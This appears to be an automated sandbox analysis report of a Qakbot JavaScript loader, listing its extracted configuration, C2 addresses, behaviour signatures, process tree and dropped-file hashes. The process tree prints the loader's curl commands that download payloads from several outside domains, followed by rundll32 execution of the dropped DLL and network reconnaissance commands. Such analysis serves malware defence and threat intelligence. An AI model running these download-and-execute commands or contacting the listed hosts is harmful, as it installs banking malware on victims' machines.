Analysis

  • max time kernel
    1165s
  • max time network
    1143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/06/2023, 00:10

General

  • Target
    CalculationOfCosts-1140986746.js
  • Size 464KB
  • Sample230615-agbfxseb8w
  • SHA256 3ab8a4eeadb73f0d3abb9603bdfbbe43adffd03c8eb557b104284430f18b91f7
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • qakbot

Version
  • 404.1374

Botnet
  • obama268

Campaign
  • 1686733312

C2
  • 125.99.76.102:443

  • 80.12.88.148:2222

  • 109.149.147.195:2222

  • 27.99.32.26:2222

  • 70.28.50.223:3389

  • 70.28.50.223:32100

  • 86.97.96.62:2222

  • 66.241.183.99:443

  • 74.12.146.45:2222

  • 190.199.147.209:2222

  • 47.205.25.170:443

  • 12.172.173.82:993

  • 12.172.173.82:22

  • 84.35.26.14:995

  • 72.134.124.16:443

  • 85.240.173.251:2078

  • 50.68.186.195:443

  • 65.190.242.244:443

  • 45.62.75.217:443

  • 203.109.44.236:995

Signatures

  • Qakbot/Qbot

    Qbot or Qakbot is a sophisticated worm with banking capabilities.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 28 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\CalculationOfCosts-1140986746.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1280
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://rapiska.com/0.1828015023899584.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4244
      • C:\Windows\system32\curl.exe
        curl https://rapiska.com/0.1828015023899584.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
        3⤵
          PID:4304
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://tamimak.com/0.5387451113147355.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4144
        • C:\Windows\system32\curl.exe
          curl https://tamimak.com/0.5387451113147355.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
          3⤵
            PID:4696
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://corfinka.com/0.6946209104765908.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2636
          • C:\Windows\system32\curl.exe
            curl https://corfinka.com/0.6946209104765908.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
            3⤵
              PID:432
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://qderika.com/0.9700379696605115.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1324
            • C:\Windows\system32\curl.exe
              curl https://qderika.com/0.9700379696605115.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
              3⤵
                PID:4808
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://bilaska.com/0.2364630725501452.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1084
              • C:\Windows\system32\curl.exe
                curl https://bilaska.com/0.2364630725501452.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                3⤵
                  PID:3196
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://nirause.com/0.8550041144087961.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2872
                • C:\Windows\system32\curl.exe
                  curl https://nirause.com/0.8550041144087961.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                  3⤵
                    PID:4120
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c timeout 10 & rundll32 C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX,must
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2672
                  • C:\Windows\system32\timeout.exe
                    timeout 10
                    3⤵
                    • Delays execution with timeout.exe
                    PID:4748
                  • C:\Windows\system32\rundll32.exe
                    rundll32 C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX,must
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1088
                    • C:\Windows\SysWOW64\rundll32.exe
                      rundll32 C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX,must
                      4⤵
                      • Loads dropped DLL
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of WriteProcessMemory
                      PID:4836
                      • C:\Windows\SysWOW64\wermgr.exe
                        C:\Windows\SysWOW64\wermgr.exe
                        5⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:1040
                        • C:\Windows\SysWOW64\ipconfig.exe
                          ipconfig /all
                          6⤵
                          • Gathers network information
                          PID:680
                        • C:\Windows\SysWOW64\whoami.exe
                          whoami /all
                          6⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4132
              • C:\Windows\system32\msiexec.exe
                C:\Windows\system32\msiexec.exe /V
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:1932

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    Floster.OOOOCCCCCXXXXX

                    • Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                    • Size 12KB
                    • SHA256 cb2ab390ffd1a923008f95abaf34fd8c5ff186264e925ec32ef3616780b81060
                    • MD5 SHA1 SHA512 SSDEEP

                    Floster.OOOOCCCCCXXXXX

                    • Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                    • Size 12KB
                    • SHA256 cb2ab390ffd1a923008f95abaf34fd8c5ff186264e925ec32ef3616780b81060
                    • MD5 SHA1 SHA512 SSDEEP

                    Floster.OOOOCCCCCXXXXX

                    • Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                    • Size 28KB
                    • SHA256 a16847ad38b3fe738ac6bbaabeb0965e44f406bb9ded6455043e9a0d8eb97180
                    • MD5 SHA1 SHA512 SSDEEP

                    Floster.OOOOCCCCCXXXXX

                    • Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                    • Size 28KB
                    • SHA256 a16847ad38b3fe738ac6bbaabeb0965e44f406bb9ded6455043e9a0d8eb97180
                    • MD5 SHA1 SHA512 SSDEEP

                    Floster.OOOOCCCCCXXXXX

                    • Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                    • Size 12KB
                    • SHA256 cb2ab390ffd1a923008f95abaf34fd8c5ff186264e925ec32ef3616780b81060
                    • MD5 SHA1 SHA512 SSDEEP

                    Floster.OOOOCCCCCXXXXX

                    • Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                    • Size 246KB
                    • SHA256 3d51b47d393012ac806ea0753a44ba6784f16bda7a11711c843dcedb6360f2de
                    • MD5 SHA1 SHA512 SSDEEP

                    Floster.OOOOCCCCCXXXXX

                    • Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                    • Size 246KB
                    • SHA256 871d4e5f98a4ef04edd3f1f443babe3e0c9e9477267dc6a7aec7015a4c2b6bb6
                    • MD5 SHA1 SHA512 SSDEEP

                    Floster.OOOOCCCCCXXXXX

                    • Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
                    • Size 246KB
                    • SHA256 871d4e5f98a4ef04edd3f1f443babe3e0c9e9477267dc6a7aec7015a4c2b6bb6
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/1040-193-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-208-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-152-0x0000000000760000-0x0000000000762000-memory.dmp

                    memory/1040-153-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-159-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-248-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-161-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-162-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-163-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-164-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-167-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-168-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-170-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-176-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-191-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-192-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-247-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-194-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-195-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-201-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-207-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-246-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-209-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-210-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-211-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-217-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-220-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-221-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-222-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-223-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-224-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-233-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-236-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-237-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-238-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-239-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-240-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/1040-243-0x0000000000730000-0x0000000000754000-memory.dmp

                    memory/4836-147-0x0000000010000000-0x0000000010024000-memory.dmp

                    memory/4836-146-0x0000000000F60000-0x0000000000F63000-memory.dmp

                    memory/4836-160-0x00000000647C0000-0x0000000064802000-memory.dmp